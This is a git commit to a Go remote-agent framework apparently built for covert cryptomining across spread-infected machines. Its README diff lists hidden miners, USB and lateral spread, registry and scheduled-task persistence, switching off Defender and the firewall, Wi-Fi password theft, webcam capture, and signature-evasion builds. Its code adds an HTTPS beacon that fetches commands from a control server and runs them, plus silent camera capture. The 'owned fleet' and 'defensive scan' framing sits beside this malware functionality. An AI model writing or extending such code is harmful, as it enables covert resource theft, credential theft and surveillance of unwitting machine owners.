feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -64,6 +64,8 @@ You configure defaults once in **Calibrate**. You forge once per target profile
- **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards - **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards
- Pool connection status and AI activity panel (Advanced mode) - Pool connection status and AI activity panel (Advanced mode)
- Matrix stream overlay with mystic word drops (Advanced mode) - Matrix stream overlay with mystic word drops (Advanced mode)
- **Install funnel** — agents per build/worker over 7 days, new connects today, USB-spread flag
- **Operator audit strip** — last operator actions (forge, commands, config save, secret rotate)
### Fleet Roster (Agents) ### Fleet Roster (Agents)
@@ -74,7 +76,8 @@ You configure defaults once in **Calibrate**. You forge once per target profile
- Mining ops: pause / resume / restart miner - Mining ops: pause / resume / restart miner
- Recon: sysinfo, list processes, network scan, DNS config, listening ports - Recon: sysinfo, list processes, network scan, DNS config, listening ports
- System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address) - System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address)
- Screen: **Screenshot** — captures remote desktop and instantly downloads JPEG in your browser - Screen: **Screenshot** (desktop), **Live view** (3s slideshow while tab focused), and **Camera** (USB/built-in webcam via `camera_snapshot`; Windows/Linux agents need **ffmpeg** on PATH)
- **File browser** — `list_dir` / `read_file` (512 KB cap) / upload / download in Crucible when one node is selected (Windows agents)
- Admin: PowerShell terminal, file upload, uninstall - Admin: PowerShell terminal, file upload, uninstall
- **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online - **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online
- **Auto-sysinfo** — system info is fetched immediately when you select an agent - **Auto-sysinfo** — system info is fetched immediately when you select an agent
@@ -174,20 +177,68 @@ Use **Send test notification** after **Save Calibration** to verify delivery. Th
> **Security:** Never paste bot tokens in chat or commit them. Store only in `data/config.json` (gitignored). > **Security:** Never paste bot tokens in chat or commit them. Store only in `data/config.json` (gitignored).
### Fleet task scheduler (Calibrate)
Under **Calibrate → Fleet Tasks**, schedule remote actions: `on_connect`, `on_reconnect`, `interval_hours`, or daily `cron` (`HH:MM`). Actions include `sysinfo`, `full_sys_check`, `powershell`, `exec`, `pause`, `resume`, `restart`.
### Operator audit log
Records forge builds, agent commands, config saves, fleet secret rotation, and task edits. Visible on Dashboard and Calibrate; `GET /api/v1/audit`.
### Forge connection profile (Advanced)
Bake **beacon interval**, **beacon jitter %**, and **kill-after-days** (0 = never) into workers for reconnect timing and optional self-destruct.
### Agent stubs (not shipped)
- **`bof_execute`** — returns an error; in-memory BOF execution is disabled.
### Forge hardening & dispense UX ### Forge hardening & dispense UX
- **Sigil scramble** (default on) — unique binary hash per forge (PE timestamp + entropy overlay) without changing runtime behavior - **Sigil scramble** (default on) — unique binary hash per forge (PE timestamp + entropy overlay) without changing runtime behavior
- **Garble** + **polymorph** + optional **Authenticode** signing — layered static-signature variation - **Garble** + **polymorph** + optional **Authenticode** signing — layered static-signature variation
- **Dispense Reveal** — full-screen success ceremony with stealth index, binary DNA fingerprint, and download - **Dispense Reveal** — full-screen success ceremony with stealth index, binary DNA fingerprint, and download
### CISA KEV exposure scan (defensive)
**Full System Check** includes a read-only **CISA KEV** pass aligned with [CISAs top exploited vulnerabilities](https://www.cisa.gov/uscert/ncas/alerts/aa22-117a) (Log4Shell, ProxyLogon/Exchange, Zerologon on DCs, Citrix ADC, Pulse Secure, F5 BIG-IP, Confluence, ManageEngine, Fortinet, PrintNightmare, VMware vCenter, etc.).
| What it does | What it does **not** do |
|--------------|-------------------------|
| Detects installed stacks, services, stale patching, and risky roles on **your** fleet | Does not exploit or weaponize CVEs |
| Surfaces `exposed` / `likely` / `clear` per CVE family in the sys check panel | Does not replace formal vuln scanning (Tenable, etc.) |
| Optional Telegram ping when critical indicators fire (Calibrate → **KEV exposure**) | Heuristics only — verify with vendor patches |
Run **Full Sys Check** from Fleet Roster or Crucible on Windows agents for the full KEV block.
### Fleet ops (recent) ### Fleet ops (recent)
- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports) from Fleet Roster or Crucible - **Protocol Tunneling** — Cloudflare outbound tunnel, SSH local forward (Windows), WireGuard via Path Tracer; `tunnel_status` / `tunnel_stop` on owned fleet nodes (Fleet Roster + Crucible)
- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports, **KEV exposure**) from Fleet Roster or Crucible
- **Desktop push** — deploy files to `@desktop/` on workers - **Desktop push** — deploy files to `@desktop/` on workers
- **BITS persistence** / **host binary** run modes (Windows, advanced Forge) - **BITS persistence** / **host binary** run modes (Windows, advanced Forge)
- **Boot / logon autostart** — Forge `autostart_mode` (registry Run, Startup folder, ONSTART/ONLOGON tasks)
- **Path Tracer** — multi-hop WireGuard path builder (dashboard page) - **Path Tracer** — multi-hop WireGuard path builder (dashboard page)
- **Protocol tunneling** — operator-facing reach-through on owned fleet (see below)
- **Haptic sound** + **glow particles** — optional UI feedback (Settings) - **Haptic sound** + **glow particles** — optional UI feedback (Settings)
#### Protocol tunneling (MITRE ATT&CK mapping — honest scope)
AetherForge exposes **legitimate operator tunneling** for machines you administer — not covert C2 evasion.
| MITRE technique | AetherForge feature | Scope |
|-----------------|---------------------|-------|
| [T1572 Protocol Tunneling](https://attack.mitre.org/techniques/T1572/) | Cloudflare outbound (`tunnel_cloudflared`), SSH local forward (`tunnel_ssh_forward`), WireGuard mesh (Path Tracer) | Reach internal hosts / expose agent LAN services on **your** fleet |
| [T1071 Application Layer Protocol](https://attack.mitre.org/techniques/T1071/) | Existing WebSocket C2 + optional Cloudflare tunnel to dashboard | Standard HTTPS/WSS to **your** control server |
**Not built:** DNS-over-HTTPS resolution evasion, SOCKS pivot, SMB tunneling, or features marketed to bypass network filtering.
**Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`).
**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`.
**Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only.
--- ---
## Quick Start ## Quick Start
@@ -227,7 +278,7 @@ Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entr
| `/api/v1/*` REST | HTTP Basic Auth | | `/api/v1/*` REST | HTTP Basic Auth |
| `/ws/dashboard` | `?token=<base64-user:pass>` | | `/ws/dashboard` | `?token=<base64-user:pass>` |
| `/ws/agent` | Fleet-secret `auth` JSON frame | | `/ws/agent` | Fleet-secret `auth` JSON frame |
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header | | `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (includes `/agent/beacon`, `/agent/beacon/result`) |
| Static SPA + `/api/v1/health` | Open (no auth) | | Static SPA + `/api/v1/health` | Open (no auth) |
--- ---
@@ -275,6 +326,23 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need
**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. **Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth.
### C2 transport (owned fleet)
Legitimate **MITRE T1071 Application Layer Protocol** usage for machines you administer — not covert DNS/SMTP/FTP tunneling.
| Layer | Protocol | When |
|-------|----------|------|
| **Primary** | WebSocket `wss://…/ws/agent` (T1071.001) | Normal operation — live stats, jobs, remote commands |
| **Fallback** | HTTPS `POST /api/v1/agent/beacon` + `POST …/beacon/result` (T1071.001) | After WebSocket is down for N minutes (Forge: **HTTPS beacon fallback**, default on when backup URLs are set) |
| **Backup hosts** | Same APIs on `backup_server_urls` | Round-robin when primary C2 is unreachable |
| **Operator alerts** | Telegram + optional Calibrate `webhook_url` JSON POST (T1071.005 lite) | Connect / offline / threshold events — server-side only |
Forge **Connection Profile** → enable **HTTPS beacon fallback** and set minutes before fallback (default 3). Fleet secret is sent as `X-Fleet-Secret` on beacon routes (same as other `/api/v1/agent/*` endpoints).
**Test fallback:** block outbound WebSocket to the control host (firewall rule on `8989`/`443` for `ws` only, or deny `/ws/agent` at the reverse proxy) while leaving HTTPS API open — agent should log `HTTPS beacon` and the dashboard should still receive stats/commands via beacon polling.
**Diagnostic:** remote command `connectivity_probe` (or startup log line) reports DNS + TCP reachability to C2 and pool hosts — diagnostic only, not a C2 channel.
--- ---
## Agent Silence ## Agent Silence
@@ -285,6 +353,9 @@ Every agent operation is **completely silent** — no CMD windows, no PowerShell
|----------|-----------| |----------|-----------|
| Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes | | Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes |
| Persistence | Scheduled task / registry run key — no user-visible installer | | Persistence | Scheduled task / registry run key — no user-visible installer |
| Registry persistence (Forge) | Optional HKCU/HKLM Run, RunOnce, Explorer Policies Run — value `AetherForge_{worker}`; uninstall removes only agent-created keys |
| Boot / logon autostart | Optional Forge `autostart_mode`: HKCU Run, Startup folder shortcut, ONSTART (boot) or ONLOGON tasks — applied on install and self-heal |
| Fleet registry ops | `registry_read` / `registry_write` / `registry_delete` on administered Windows agents (allowlisted paths) |
| Mining | XMRig / T-Rex / TeamRedMiner run fully hidden | | Mining | XMRig / T-Rex / TeamRedMiner run fully hidden |
| WMI triggers | PowerShell executed with `-WindowStyle Hidden` | | WMI triggers | PowerShell executed with `-WindowStyle Hidden` |
| Spread installs | `--run` flag relaunches silently with detached start | | Spread installs | `--run` flag relaunches silently with detached start |
@@ -347,6 +418,9 @@ crypto miner/
| GET | `/api/v1/pools/status` | Stratum pool connection states | | GET | `/api/v1/pools/status` | Stratum pool connection states |
| GET | `/api/v1/earnings/estimate` | XMR/day estimate | | GET | `/api/v1/earnings/estimate` | XMR/day estimate |
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) | | GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
| GET | `/api/v1/audit` | Operator audit log (last 50) |
| GET/PUT/DELETE | `/api/v1/fleet-tasks` | Scheduled fleet tasks |
| GET | `/api/v1/dashboard/spread-funnel` | Install funnel stats (7d) |
| WS | `/ws/agent` | Worker connection | | WS | `/ws/agent` | Worker connection |
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed | | WS | `/ws/dashboard?token=<base64>` | Live dashboard feed |

View File

@@ -19,10 +19,13 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive { if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)" return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
} }
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords": case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
if !c.cfg.RemoteAggressive { if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
} }
case "tunnel_status", "tunnel_wireguard":
// Always available — read-only or Path Tracer config from server.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status": case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
// No forge gate — always available. // No forge gate — always available.
case "mesh_status": case "mesh_status":
@@ -36,6 +39,10 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
} }
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool { func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
if c.handleTunnelCommand(action, command, path, data) {
return true
}
ok, reason := c.allowRemoteAction(action) ok, reason := c.allowRemoteAction(action)
if !ok { if !ok {
c.sendCommandResult(action, false, reason) c.sendCommandResult(action, false, reason)
@@ -82,19 +89,6 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, msg) c.sendCommandResult(action, true, msg)
return true return true
case "start_tunnel":
serverURL := strings.TrimSpace(command)
if serverURL == "" {
serverURL = c.cfg.ServerURL
}
msg, err := deploy.StartCloudflaredTunnel(serverURL)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "subnet_scan": case "subnet_scan":
maxHosts := parsePortArg(command, 64) maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts) out := deploy.ScanLocalSubnet(maxHosts)
@@ -204,7 +198,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
} }
parts = append(parts, msg) parts = append(parts, msg)
} }
deploy.RemoveFirewallExclusionWindows(c.cfg) deploy.RemoveFirewallExclusion(c.cfg)
parts = append(parts, "Removed AetherForge miner firewall rules (if present)") parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
c.sendCommandResult(action, true, strings.Join(parts, "\n")) c.sendCommandResult(action, true, strings.Join(parts, "\n"))
return true return true

View File

@@ -0,0 +1,151 @@
package client
import (
"bytes"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"strings"
"time"
"crypto-miner-agent/config"
)
type beaconHTTPResponse struct {
OK bool `json:"ok"`
Commands []struct {
Action string `json:"action"`
TailLines int `json:"tail_lines"`
Command string `json:"command"`
Path string `json:"path"`
Data string `json:"data"`
} `json:"commands"`
}
func (c *AgentClient) httpsBeaconEnabled() bool {
if !c.cfg.HTTPSBeaconFallback {
return false
}
if c.cfg.FleetSecret == "" {
return false
}
return true
}
func (c *AgentClient) httpsBeaconAfterDuration() time.Duration {
min := c.cfg.HTTPSBeaconAfterMin
if min <= 0 {
min = 3
}
return time.Duration(min) * time.Minute
}
func (c *AgentClient) shouldUseHTTPSBeacon(wsDownSince time.Time) bool {
if !c.httpsBeaconEnabled() || wsDownSince.IsZero() {
return false
}
return time.Since(wsDownSince) >= c.httpsBeaconAfterDuration()
}
func (c *AgentClient) apiBaseURL(serverURL string) (string, error) {
raw := strings.TrimSpace(serverURL)
if raw == "" {
return "", fmt.Errorf("empty server URL")
}
if !strings.Contains(raw, "://") {
raw = "http://" + raw
}
return strings.TrimSuffix(raw, "/") + "/api/v1", nil
}
// beaconOnce performs one HTTPS beacon cycle; the outer Run loop retries WebSocket each iteration.
func (c *AgentClient) beaconOnce(serverURL string) error {
c.beaconMode.Store(true)
defer c.beaconMode.Store(false)
c.connected.Store(true)
defer c.connected.Store(false)
client := &http.Client{Timeout: 45 * time.Second}
base, err := c.apiBaseURL(serverURL)
if err != nil {
return err
}
stats, err := c.collectStatsPayload()
if err != nil {
log.Printf("[agent] beacon stats: %v", err)
}
host, _, _ := c.reporter.SystemInfo()
body, _ := json.Marshal(map[string]interface{}{
"agent_id": c.agentID,
"stats": stats,
"hostname": host,
"wallet": c.cfg.Wallet,
"worker_name": c.cfg.WorkerName,
"version": config.Version,
})
req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon", bytes.NewReader(body))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
resp, err := client.Do(req)
if err != nil {
return err
}
data, _ := io.ReadAll(resp.Body)
resp.Body.Close()
if resp.StatusCode == http.StatusForbidden {
return fmt.Errorf("beacon auth rejected")
}
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("beacon HTTP %s", resp.Status)
}
var br beaconHTTPResponse
if err := json.Unmarshal(data, &br); err != nil {
return err
}
for _, cmd := range br.Commands {
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
}
return nil
}
func (c *AgentClient) beaconInterval() time.Duration {
sec := c.cfg.BeaconIntervalSec
if sec <= 0 {
sec = 10
}
return time.Duration(sec) * time.Second
}
func (c *AgentClient) postBeaconResult(payload []byte) {
serverURLs := buildServerURLList(c.cfg)
if len(serverURLs) == 0 {
return
}
base, err := c.apiBaseURL(serverURLs[0])
if err != nil {
return
}
var body map[string]interface{}
_ = json.Unmarshal(payload, &body)
body["agent_id"] = c.agentID
out, _ := json.Marshal(body)
req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon/result", bytes.NewReader(out))
if err != nil {
return
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
client := &http.Client{Timeout: 30 * time.Second}
resp, err := client.Do(req)
if err != nil {
log.Printf("[agent] beacon result post failed: %v", err)
return
}
io.Copy(io.Discard, resp.Body)
resp.Body.Close()
}

View File

@@ -0,0 +1,66 @@
package client
import (
"encoding/base64"
"fmt"
"strings"
)
const maxCameraSnapshotBytes = 2 * 1024 * 1024
func isJPEG(data []byte) bool {
return len(data) >= 3 && data[0] == 0xff && data[1] == 0xd8 && data[2] == 0xff
}
func encodeCameraSnapshotJPEG(raw []byte) (string, error) {
if len(raw) < 100 {
return "", fmt.Errorf("camera capture too small (%d bytes)", len(raw))
}
if !isJPEG(raw) {
return "", fmt.Errorf("camera capture is not JPEG (got %d bytes)", len(raw))
}
if len(raw) > maxCameraSnapshotBytes {
return "", fmt.Errorf("camera image exceeds %d byte cap (%d bytes)", maxCameraSnapshotBytes, len(raw))
}
return base64.StdEncoding.EncodeToString(raw), nil
}
// parseDShowVideoDevices extracts quoted DirectShow video device names from ffmpeg -list_devices output.
func parseDShowVideoDevices(stderr string) []string {
var devs []string
inVideo := false
for _, line := range strings.Split(stderr, "\n") {
lower := strings.ToLower(line)
if strings.Contains(lower, "directshow video devices") {
inVideo = true
continue
}
if inVideo && strings.Contains(lower, "directshow audio devices") {
break
}
if !inVideo {
continue
}
if strings.Contains(lower, "alternative name") {
continue
}
name := extractQuotedDeviceName(line)
if name != "" {
devs = append(devs, name)
}
}
return devs
}
func extractQuotedDeviceName(line string) string {
start := strings.Index(line, `"`)
if start < 0 {
return ""
}
rest := line[start+1:]
end := strings.Index(rest, `"`)
if end <= 0 {
return ""
}
return rest[:end]
}

View File

@@ -0,0 +1,45 @@
package client
import "testing"
func TestParseDShowVideoDevices(t *testing.T) {
sample := `[dshow @ 000001] DirectShow video devices (some may be both video and audio devices)
[dshow @ 000001] "Integrated Camera"
[dshow @ 000001] Alternative name "@device_pnp_\\?\usb#..."
[dshow @ 000001] "USB Video Device"
[dshow @ 000001] DirectShow audio devices
[dshow @ 000001] "Microphone (USB Video Device)"
`
devs := parseDShowVideoDevices(sample)
if len(devs) != 2 {
t.Fatalf("got %d devices: %v", len(devs), devs)
}
if devs[0] != "Integrated Camera" || devs[1] != "USB Video Device" {
t.Fatalf("unexpected names: %v", devs)
}
}
func TestExtractQuotedDeviceName(t *testing.T) {
if got := extractQuotedDeviceName(`[dshow] "My Cam"`); got != "My Cam" {
t.Fatalf("got %q", got)
}
if got := extractQuotedDeviceName("no quotes"); got != "" {
t.Fatalf("expected empty, got %q", got)
}
}
func TestEncodeCameraSnapshotJPEG(t *testing.T) {
jpeg := []byte{0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F'}
// pad to >= 100 bytes
for len(jpeg) < 100 {
jpeg = append(jpeg, 0)
}
b64, err := encodeCameraSnapshotJPEG(jpeg)
if err != nil || len(b64) < 100 {
t.Fatalf("encode: err=%v len=%d", err, len(b64))
}
_, err = encodeCameraSnapshotJPEG([]byte{1, 2, 3})
if err == nil {
t.Fatal("expected error for non-jpeg")
}
}

View File

@@ -0,0 +1,105 @@
//go:build linux
package client
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
func handleCameraAction(action string) (handled bool, success bool, message string) {
switch action {
case "camera_snapshot":
raw, err := captureLinuxCameraJPEG()
if err != nil {
return true, false, err.Error()
}
b64, err := encodeCameraSnapshotJPEG(raw)
if err != nil {
return true, false, err.Error()
}
return true, true, b64
case "camera_list":
devs, err := listLinuxCameraDevices()
if err != nil {
return true, false, err.Error()
}
if len(devs) == 0 {
return true, false, "no V4L2 devices found under /dev/video*"
}
return true, true, strings.Join(devs, "\n")
default:
return false, false, ""
}
}
func listLinuxCameraDevices() ([]string, error) {
matches, err := filepath.Glob("/dev/video*")
if err != nil {
return nil, err
}
var devs []string
for _, p := range matches {
if fi, err := os.Stat(p); err == nil && (fi.Mode()&os.ModeCharDevice) != 0 {
devs = append(devs, p)
}
}
return devs, nil
}
func captureLinuxCameraJPEG() ([]byte, error) {
devs, err := listLinuxCameraDevices()
if err != nil {
return nil, err
}
if len(devs) == 0 {
return nil, fmt.Errorf("no /dev/video* devices — connect a USB camera or install v4l2 drivers")
}
device := devs[0]
if ff, err := exec.LookPath("ffmpeg"); err == nil {
out, runErr := exec.Command(ff,
"-hide_banner", "-loglevel", "error",
"-f", "v4l2",
"-i", device,
"-frames:v", "1",
"-q:v", "2",
"-f", "image2",
"pipe:1",
).CombinedOutput()
if runErr == nil && len(out) >= 100 {
return out, nil
}
if runErr != nil {
hint := strings.TrimSpace(string(out))
if hint != "" {
return nil, fmt.Errorf("ffmpeg v4l2 capture failed: %v (%s)", runErr, hint)
}
}
}
if fw, err := exec.LookPath("fswebcam"); err == nil {
tmp, err := os.CreateTemp("", "af-cam-*.jpg")
if err != nil {
return nil, err
}
tmpPath := tmp.Name()
_ = tmp.Close()
defer os.Remove(tmpPath)
out, runErr := exec.Command(fw, "-q", "-d", device, "-r", "1280x720", "--no-banner", tmpPath).CombinedOutput()
if runErr != nil {
return nil, fmt.Errorf("fswebcam failed: %v (%s)", runErr, strings.TrimSpace(string(out)))
}
raw, err := os.ReadFile(tmpPath)
if err != nil {
return nil, err
}
return raw, nil
}
return nil, fmt.Errorf("camera capture unsupported: install ffmpeg or fswebcam on the agent host")
}

View File

@@ -0,0 +1,12 @@
//go:build !windows && !linux
package client
func handleCameraAction(action string) (handled bool, success bool, message string) {
switch action {
case "camera_snapshot", "camera_list":
return true, false, "camera capture is not supported on this platform"
default:
return false, false, ""
}
}

View File

@@ -0,0 +1,90 @@
//go:build windows
package client
import (
"fmt"
"os/exec"
"strings"
)
func handleCameraAction(action string) (handled bool, success bool, message string) {
switch action {
case "camera_snapshot":
raw, err := captureWindowsCameraJPEG()
if err != nil {
return true, false, err.Error()
}
b64, err := encodeCameraSnapshotJPEG(raw)
if err != nil {
return true, false, err.Error()
}
return true, true, b64
case "camera_list":
devs, err := listWindowsCameraDevices()
if err != nil {
return true, false, err.Error()
}
if len(devs) == 0 {
return true, false, "no DirectShow video capture devices found (install ffmpeg and connect a camera)"
}
return true, true, strings.Join(devs, "\n")
default:
return false, false, ""
}
}
func ffmpegOnPath() (string, error) {
path, err := exec.LookPath("ffmpeg")
if err != nil {
return "", fmt.Errorf("ffmpeg not found on PATH — install ffmpeg to capture USB/built-in camera frames")
}
return path, nil
}
func listWindowsCameraDevices() ([]string, error) {
ff, err := ffmpegOnPath()
if err != nil {
return nil, err
}
out, err := silentCombinedOutput(ff, "-hide_banner", "-list_devices", "true", "-f", "dshow", "-i", "dummy")
// ffmpeg exits non-zero for -list_devices; output is on stderr merged in CombinedOutput
_ = err
return parseDShowVideoDevices(string(out)), nil
}
func captureWindowsCameraJPEG() ([]byte, error) {
ff, err := ffmpegOnPath()
if err != nil {
return nil, err
}
devs, err := listWindowsCameraDevices()
if err != nil {
return nil, err
}
if len(devs) == 0 {
return nil, fmt.Errorf("no video capture devices found")
}
device := devs[0]
out, err := silentCombinedOutput(ff,
"-hide_banner", "-loglevel", "error",
"-f", "dshow",
"-i", dshowVideoInput(device),
"-frames:v", "1",
"-q:v", "2",
"-f", "image2",
"pipe:1",
)
if err != nil {
hint := strings.TrimSpace(string(out))
if hint != "" {
return nil, fmt.Errorf("ffmpeg capture failed: %v (%s)", err, hint)
}
return nil, fmt.Errorf("ffmpeg capture failed: %v (device %q)", err, device)
}
return out, nil
}
func dshowVideoInput(name string) string {
return `video="` + strings.ReplaceAll(name, `"`, `\"`) + `"`
}

View File

@@ -6,6 +6,7 @@ import (
"fmt" "fmt"
"io" "io"
"log" "log"
"math/rand"
"net" "net"
"net/http" "net/http"
"net/url" "net/url"
@@ -53,6 +54,11 @@ type AgentClient struct {
// spreadOnce ensures AutoSpreader starts at most once — after the first // spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet. // successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once spreadOnce sync.Once
// beaconMode is true while commands/results use HTTPS beacon transport.
beaconMode atomic.Bool
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
wsDownSince atomic.Value // stores time.Time
} }
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
@@ -67,6 +73,15 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
} }
func (c *AgentClient) Run() error { func (c *AgentClient) Run() error {
if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() {
age := time.Since(c.cfg.BuiltAt)
limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour
if age >= limit {
log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays)
return nil
}
}
threads := c.cfg.EffectiveThreads() threads := c.cfg.EffectiveThreads()
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare) c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
c.pool.Start() c.pool.Start()
@@ -118,32 +133,76 @@ func (c *AgentClient) Run() error {
serverURLs := buildServerURLList(c.cfg) serverURLs := buildServerURLList(c.cfg)
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs) log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
urlIdx := 0 probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
backoff := 5 * time.Second log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v",
const maxBackoff = 60 * time.Second probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK)
urlIdx := 0
backoff, maxBackoff := c.reconnectBackoff()
for { for {
target := serverURLs[urlIdx%len(serverURLs)] target := serverURLs[urlIdx%len(serverURLs)]
start := time.Now() start := time.Now()
// Restore C2 share handler before connecting (in case Stratum had it). // Restore C2 share handler before connecting (in case Stratum had it).
c.pool.SetShareHandler(c.submitShare) c.pool.SetShareHandler(c.submitShare)
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
if err := c.beaconOnce(target); err != nil {
log.Printf("[agent] beacon failed on %s: %v", target, err)
c.markWSDownSince()
} else {
c.sleepReconnect(c.beaconInterval())
}
}
if err := c.connectLoop(target); err != nil { if err := c.connectLoop(target); err != nil {
log.Printf("[agent] disconnected from %s: %v", target, err) log.Printf("[agent] disconnected from %s: %v", target, err)
c.markWSDownSince()
} }
// Advance to next URL so the next reconnect tries a different server // Advance to next URL so the next reconnect tries a different server
urlIdx++ urlIdx++
if time.Since(start) > 10*time.Second { if time.Since(start) > 10*time.Second {
// Long-lived connection succeeded — reset backoff on the next attempt backoff, maxBackoff = c.reconnectBackoff()
backoff = 5 * time.Second
} }
time.Sleep(backoff) c.sleepReconnect(backoff)
backoff += 5 * time.Second backoff += c.reconnectBackoffStep()
if backoff > maxBackoff { if backoff > maxBackoff {
backoff = maxBackoff backoff = maxBackoff
} }
} }
} }
func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) {
sec := c.cfg.BeaconIntervalSec
if sec <= 0 {
sec = 5
}
base := time.Duration(sec) * time.Second
max := 60 * time.Second
if base*12 > max {
max = base * 12
}
return base, max
}
func (c *AgentClient) reconnectBackoffStep() time.Duration {
sec := c.cfg.BeaconIntervalSec
if sec <= 0 {
sec = 5
}
return time.Duration(sec) * time.Second
}
func (c *AgentClient) sleepReconnect(d time.Duration) {
jitter := c.cfg.BeaconJitterPct
if jitter > 0 {
if jitter > 100 {
jitter = 100
}
factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0
d = time.Duration(float64(d) * factor)
}
time.Sleep(d)
}
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order. // buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
func buildServerURLList(cfg config.RuntimeConfig) []string { func buildServerURLList(cfg config.RuntimeConfig) []string {
seen := map[string]bool{} seen := map[string]bool{}
@@ -263,6 +322,8 @@ func (c *AgentClient) authenticate() error {
Arch: runtime.GOARCH, Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(), OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(), MacAddress: primaryMACAddress(),
BuildID: c.cfg.BuildID,
USBSpread: c.cfg.USBSpread,
}) })
